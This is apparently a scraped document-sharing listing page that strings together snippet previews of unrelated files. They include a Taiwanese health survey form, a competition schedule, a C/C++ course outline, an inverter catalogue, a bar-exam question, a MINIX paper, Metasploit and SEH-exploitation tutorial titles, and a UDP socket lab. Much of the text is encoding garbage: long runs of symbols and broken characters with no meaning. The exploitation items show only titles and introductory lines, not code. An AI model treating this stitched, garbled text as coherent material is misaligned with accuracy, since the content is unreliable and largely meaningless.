Microsoft Word - NHIS2013_C_130716_送印_.doc 核 准 機 關 : 行 政 院 主 計 總 處 核 准 文 號 : 主 普 管 字 第 1020400481 號 有 效 期 間 : 至 103 年 6 月 30 日 止 辦 理 機 關 : 財 團 法 人 國 家 衛 生 研 究 院 行 政 院 衛 生 署 國 民 健 康 局 IRB 通 過 案 號 : 國 家 衛 生 研 究 院 EC1020502 號 樣 本 編 號 :( 訪 員 填 寫 )

More information

比 賽 表 Competition Schedule 報 到 : 比 賽 開 始 前 15 分 鐘 Reporting : 15 minutes before the scheduled time for the match 各 參 賽 隊 伍 必 須 依 照 大 會 編 定 的 出 場 比 賽,

比 賽 表 Competition Schedule 報 到 : 比 賽 開 始 前 15 分 鐘 Reporting : 15 minutes before the scheduled time for the match 各 參 賽 隊 伍 必 須 依 照 大 會 編 定 的 出 場 比 賽, 比 賽 表 Competition Schedule 報 到 : 比 賽 開 始 前 15 分 鐘 Reporting : 15 minutes before the scheduled time for the match 各 參 賽 隊 伍 必 須 依 照 大 會 編 定 的 出 場 比 賽, 每 場 賽 事 於 裁 判 召 集 出 場 5 分 鐘 後 仍 未 能 出 場 作 賽 或 參 2016

More information

!"!"# # $!""%& ()*+, - ". - "/!%,0 -.! $ " $ # $ $ $ 1 %%&0/! 2(3!""% "/%,.4 "/" -." "" - 5/" - "045 /"""" # # 999$ 6:8$ :;<$ =>

!!# # $!%& ()*+, - . - /!%,0 -.! $  $ # $ $ $ 1 %%&0/! 2(3!% /%,.4 / -.  - 5/ - 045 / # # 999$ 6:8$ :;<$ => !"!"# # $!""%& ()*+, - ". - "/!%,0 -.! $ " $ # $ - - - $ $ 1 %%&0/! 2(3!""% "/%,.4 "/" -."0.055 00 5"" - 5/" - "045 /""""4 6778 # # 999$ 6:8$ :; "/" -."/.".5 6778 # # 999$ 6:8$ =?@$ =>,5, A 4 " /

More information

CC213

CC213 : (Ken-Yi Lee), E-mail: feis.tw@gmail.com 49 [P.51] C/C++ [P.52] [P.53] [P.55] (int) [P.57] (float/double) [P.58] printf scanf [P.59] [P.61] ( / ) [P.62] (char) [P.65] : +-*/% [P.67] : = [P.68] : ,

More information

! "! "! # $ # # %#!# $# &# # ()*+, )-.) /# () () 0# 1,2.34, 4*.5)-*36-13)7,) ,9,.).6.(+ :# 13).+;*7 )-,7,<*7,-*=,>,7?#

! ! ! # $ # # %#!# $# &# # ()*+, )-.) /# () () 0# 1,2.34, 4*.5)-*36-13)7,) ,9,.).6.(+ :# 13).+;*7 )-,7,<*7,-*=,>,7?# ! " "!! " "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! " #$$%!#$ #$$%!& #$$%! # (! #! (! # # ( $!! )! #! (!!! )!!! )!!! )!! # (! #! (!!! )!!! )!!! )! " "! *! " # ! "! "! # $ # # %#!# $# &# # ()*+, )-.) /# () ()

More information

zt

zt !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!""# $!"%#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

More information

MICROMSTER 410/420/430/440 MICROMSTER kw 0.75 kw 0.12kW 250kW MICROMSTER kw 11 kw D C01 MICROMSTER kw 250kW E86060-

MICROMSTER 410/420/430/440 MICROMSTER kw 0.75 kw 0.12kW 250kW MICROMSTER kw 11 kw D C01 MICROMSTER kw 250kW E86060- D51.2 2003 MICROMSTER 410/420/430/440 D51.2 2003 micromaster MICROMSTER 410/420/430/440 0.12kW 250kW MICROMSTER 410/420/430/440 MICROMSTER 410 0.12 kw 0.75 kw 0.12kW 250kW MICROMSTER 420 0.12 kw 11 kw

More information

國民健康訪問調查資料管理系統

國民健康訪問調查資料管理系統 National Health Interview Survey NHISIS ------------------------------------------------------------------------------ i H090-------------------------------------------------------------------------- 01

More information

CIP. / ISBN Ⅰ.... Ⅱ.... Ⅲ. Ⅳ. G CIP http / /press. nju. edu. cn

CIP. / ISBN Ⅰ.... Ⅱ.... Ⅲ. Ⅳ. G CIP http / /press. nju. edu. cn CIP. /. 004. 4 ISBN 7 305 0458 7 Ⅰ.... Ⅱ.... Ⅲ. Ⅳ. G64. 505 CIP 004 0798 0093 05 8359693 05 835937 05 83686347 http / /press. nju. edu. cn nupress@public. ptt. js. cn 787 09 /6. 5 85 004 5 ISBN 7 305 0458

More information

SIGNUM 3SB3

SIGNUM 3SB3 SGNUM * 6, 8 6, 8 6, 8 8 : : : : ( ) Ø22mm 6, 8 6, 8 6, 8 8 : : : : ( ) 7, 10 7, 9 7, 8 : (2 /3 ) RNS ( SB) : : CES / BKS : ( / ) 10 7, 8 : (2 /3 ) RNS ( 360012K1) : : MR : 7 Ø22mm 16 16 16 16 : : : :

More information

) +!"!"#$ %& ()*! # # +,-./, 0 /, 1&22& 34! 56! " " $ %!! 56 $! % &!! &! &! (!6+!6+. 7) 3 89 :&) ( 9)#; +,- % )*% % + 7<; 3 ). 0 (*!

) +!!#$ %& ()*! # # +,-./, 0 /, 1&22& 34! 56!   $ %!! 56 $! % &!! &! &! (!6+!6+. 7) 3 89 :&) ( 9)#; +,- % )*% % + 7<; 3 ). 0 (*! !""# #!"#$"%&"!""#!"#$%&% ()*$+, (-!"*(.+/(0*+1"2 ()*+!$,)+ % %&$ %%" ( - ( - -! - - ( - (! (+ ("!!"*!+ ("""!! +# :*%+- - 9- - (""".+$(&!""# "%."%&$.(,- -!"#$%& ( )* ( +$,$-.)% $%" $%$/0-.&$/ - &1%.23

More information

实 信 用 的 原 则 " 其 中, 诚 实 信 用 原 则 是 指 民 事 主 体 进 行 民 事 活 动 时, 均 应 诚 实, 不 作 假, 不 欺 诈, 不 损 害 他 人 利 益 和 社 会 利 益, 正 当 地 行 使 权 利 和 履 行 义 务 甲 将 平 房 售 与 丙 而 未 告

实 信 用 的 原 则  其 中, 诚 实 信 用 原 则 是 指 民 事 主 体 进 行 民 事 活 动 时, 均 应 诚 实, 不 作 假, 不 欺 诈, 不 损 害 他 人 利 益 和 社 会 利 益, 正 当 地 行 使 权 利 和 履 行 义 务 甲 将 平 房 售 与 丙 而 未 告 2012 年 司 法 考 试 模 拟 试 题 及 习 题 详 细 解 析 一 单 项 选 择 题, 每 题 所 给 的 选 项 中 只 有 一 个 正 确 答 案 本 部 分 1-50 题, 每 题 1 分, 共 50 分 1 甲 有 平 房 一 间 某 日, 甲 得 知 乙 将 于 该 平 房 南 建 高 楼 一 栋, 一 旦 高 楼 建 成, 该 平 房 即 无 阳 光 可 见 次 日, 甲 将

More information

! "# $ %& ( "# $ %& ) * $ %& + $ %& * $ %& -,)

! # $ %& ( # $ %& ) * $ %& + $ %& * $ %& -,) "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

More information

:;< =;< >!?%(, (-+ *$5(1 *$%* *#%0$#34 65&# *--.20$ $-.#+-317 A$#, 4%, 5* 54! >! B-3 0$5)/3#( * %* $-.# 5( *$#53 B3## *5.#7

:;< =;< >!?%(, (-+ *$5(1 *$%* *#%0$#34 65&# *--.20$ $-.#+-317 A$#, 4%, 5* 54! >! B-3 0$5)/3#( * %* $-.# 5( *$#53 B3## *5.#7 ! # $# %& () *%& +,+-,.. /&,.. /& 0(%+ 1)&)+,..- 02),3/&1 4%+0) 0 /.. %& () % ()+ (,&5 /& *%&*.60/%&,0, *%&0)7 86)&*) 9# # : : : : : : : : $;;< =%>) 0(%22/&1 ).)?/0/%& &) 4%+30 (,?) @)*%>),! 9A! 4,- B%+

More information

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt MINIX ( 730000) ( 730000) MINIX MINIX2.0 MINIX : MINIX TP3 1 MINIX UNIX Tanenbaum UNIX MINIX LINUX MINIX MINIX MINIX1.0 UNIX V7 MINIX2.0[3] POSIX MINIX3 MINIX Gabriel A. Wainer 1994-1995 [5] 1998 I/O 2002

More information

第一次段考 二年級社會領域試題 郭玉華 (A)(B) (C)(D)

第一次段考   二年級社會領域試題 郭玉華   (A)(B) (C)(D) 五 福 二 社 p1 高 雄 市 立 五 福 國 民 中 學 97 學 年 度 第 1 學 期 第 1 次 段 考 二 年 級 社 會 學 習 領 域 試 題 卷 代 號 :30 答 案 卡 塗 寫 注 意 事 項 1. 答 案 卡 劃 記 時, 必 須 用 黑 色 2B 鉛 筆 塗 黑 塗 滿, 但 不 可 超 出 圈 外 2. 年 班 級 座 號 科 目 請 劃 記 正 確 若 劃 記 錯 誤,

More information

(E). (A) (B) (C) (D) (E). (A) (B) (C) (D) (E) (A) (B) (C) (D) (E) (A) (B) (C) (D). ( ) ( ) ( ) ( ) ( ) ( ) (A) (B) (C) (D) (E). (A) (B) (C) (D) (E). (

(E). (A) (B) (C) (D) (E). (A) (B) (C) (D) (E) (A) (B) (C) (D) (E) (A) (B) (C) (D). ( ) ( ) ( ) ( ) ( ) ( ) (A) (B) (C) (D) (E). (A) (B) (C) (D) (E). ( . (A) (B) (C) (D) (E). ( ) ( ) ( ) ( ) ( ) ( ) (A) (B) (C) (D) (E) (A) (B) (C) (D) (E). (A) (B) (C) (D) (E). (A) (B) (C) (D) (E). 1950 (A) (B) (C) (D) (E). 60 70 (A) (B) (C) (D) (E). ( ) ( ) ( ) ( ) (

More information

中华人民共和国海关进出口税则

中华人民共和国海关进出口税则 ! " " # $!"#$%&# &(%)$ *+, -.(%)$ /*)011 %1 $23 43%(536# 73("8509 %1!20+* %& ()& *+),-. +/ 01 *234+53 *+-46+7 *+-),4,+-3 8(93 (-) :&.27(4,+-3 ;(? %&4(,7&) *234+53 %24,&3 8&@,&) +- *+55,33,+-

More information

Microsoft PowerPoint - 从漏洞到利用代码为Metasploit写_cn.ppt

Microsoft PowerPoint - 从漏洞到利用代码为Metasploit写_cn.ppt 从漏洞到利用代码为 Metasploit 写插件 Saumil Shah 本人简介 # who am i 16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33 USER TTY FROM LOGIN@ IDLE WHAT saumil console - 11:43 0:05 bash Saumil Shah - krafty ceo, net-square

More information

校园之星

校园之星 I V X V L C D M n n n X X X M M VI X X DC IV IX XL C D X V I I X V D CLXV I V X XCIX C X IC C I X X quatre vingt quatre vingt dix thousand million billion p M sinl sinl e x ii xii a ba bi MI sinl

More information

AL-M200 Series

AL-M200 Series NPD4754-00 TC ( ) Windows 7 1. [Start ( )] [Control Panel ()] [Network and Internet ( )] 2. [Network and Sharing Center ( )] 3. [Change adapter settings ( )] 4. 3 Windows XP 1. [Start ( )] [Control Panel

More information

94/03/25 (94 0940002083 94 12 31 C 1-8 (65 29 5 15 1 2 1-23 28 24-27 k1. k1a. 1 2 3 4 k1b. 1 2 3 4 5 k1c. 1 2 ( 3 4 ( 5 k2. 1 A 2 k 3k 4 3 k3k4 k3. k3a. 1 2 3 4 ( k3b. 1 2 k3b1.? 3 ( (D4 k4. 11 12 02

More information

#$%&% () % ()*% +,-. /01 % + (/) " " " 2- %** -340 $%&% 5!$%&% () % ()*% +,-. /01 % + (/) " " " 2- %** -340 /64 7%,(8(, *--9( ()6 /-,%/,65 :$%&

#$%&% () % ()*% +,-. /01 % + (/)    2- %** -340 $%&% 5!$%&% () % ()*% +,-. /01 % + (/)    2- %** -340 /64 7%,(8(, *--9( ()6 /-,%/,65 :$%& ! " "!! " "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! " #$$% & ()*+,-.(*/!0%1 23)4-(4 5).67*(*8. #$$%!9 #$$% #!$1#$!1 #9 19 :9 %; :< #$$% = 0!$ ; = : : : = 1 % #!9 #$%&% () % ()*% +,-. /01 % + (/) " " " 2- %**

More information

. (A) (B) (C) A (D) (E). (A)(B)(C)(D)(E) A

. (A) (B) (C) A (D) (E). (A)(B)(C)(D)(E) A . () () () () () (A) (B) (C) B (D) (E). (A) (B) (C) E (D) (E) (A) (B) (C) (D). () () () () E (A) (B) (C) (D) (E). C (A) (B) (C) (D) (E). (A) (B) (C) (D) D (E). () - () - () - () - () - D (A) (B) (C) (D)

More information

E. (A) (B) (C) (D). () () () (A) (B) (C) (D) (E). () () () (A) (B) (C) (D) (E). (A)(B)(C) (D) (E) (A) (B) (C) (D) (E) (A) (B)(C) (D) (E). (A) (B) (C)

E. (A) (B) (C) (D). () () () (A) (B) (C) (D) (E). () () () (A) (B) (C) (D) (E). (A)(B)(C) (D) (E) (A) (B) (C) (D) (E) (A) (B)(C) (D) (E). (A) (B) (C) . (A) (B) (C) (D) (A) (B) (C)(D)(E). (A) (B) (C) (D) (E) (A) (B) (C) (D). (A) (B) (C) (D) (E) (A) (B) (C) (D) (E). (A) (B) (C) (D) (E). (A) (B) (C) (D) (E). (A) (B) (C) (D) (E) (A) (B) (C) (D) (E). (A)

More information

1 CPU interrupt INT trap CPU exception

1 CPU interrupt INT trap CPU exception 1 CPU interrupt INT trap CPU exception 2 X86 CPU gate 64 16 1 2 5 8 16 16 P DPL 00101 TSS 101 DPL P 1 64 16 1 2 1 1 3 3 5 16 16 16 P DPL 0 D 000 16 110 111 100 D 1=32 0=16 DPL P 1 INT DPL1>=CPL>=DPL CPU

More information

(Load Project) (Save Project) (OffLine Mode) (Help) Intel Hex Motor

(Load Project) (Save Project) (OffLine Mode) (Help) Intel Hex Motor 1 4.1.1.1 (Load) 14 1.1 1 4.1.1.2 (Save) 14 1.1.1 1 4.1.2 (Buffer) 16 1.1.2 1 4.1.3 (Device) 16 1.1.3 1 4.1.3.1 (Select Device) 16 2 4.1.3.2 (Device Info) 16 2.1 2 4.1.3.3 (Adapter) 17 2.1.1 CD-ROM 2 4.1.4

More information

实验指导书

实验指导书 从零开始学习软件漏洞挖掘系列教程第三篇 : 利用 SEH 机制 Exploit it 1 实验简介 实验所属系列 : 系统安全 实验对象 : 本科 / 专科网络 / 信息安全专业 相关课程及专业 : 计算机网络, 信息安全 实验时数 ( 学分 ):2 学时 实验类别 : 实践实验类 2 实验目的 在传统的缓冲区溢出中, 我们可以通过覆盖返回地址以跳转到 shellcode 但并不是所有的溢出都是那么简单的

More information

WCA Regulations and Guidelines

WCA Regulations and Guidelines WCA Regulations and Guidelines WCA Regulations Committee WCA 競 賽 規 則 2015 版 本 :2015 年 7 月 1 日 [wca-regulations-translations:c77f738] 註 釋 繁 體 中 文 翻 譯 本 翻 譯 版 本 完 全 依 照 官 方 版 本 翻 譯, 但 難 免 有 不 精 確 的 地 方,

More information

图 4.2 udpclient 项目解决方案 3. 客户机程序编码如下 : 程序 : udp 客户机程序 udpclient.cpp

图 4.2 udpclient 项目解决方案 3. 客户机程序编码如下 : 程序 : udp 客户机程序 udpclient.cpp 实验四 UDP 客户机和服务器设计 一 实验目的 1. 学习和理解 UDP 协议 ( 对照 TCP 协议 ) 2. 掌握 UDP 客户机与服务器程序的设计方法 3. 掌握 UDP 套接字创建方法, 掌握 sendto recvfrom 等函数用法 注意与 send recv 函数做对比性学习 二 实验内容 1. 完成发送和接收数据报的客户机设计 2. 完成接收和回送数据报的服务器设计 3.( 选做

More information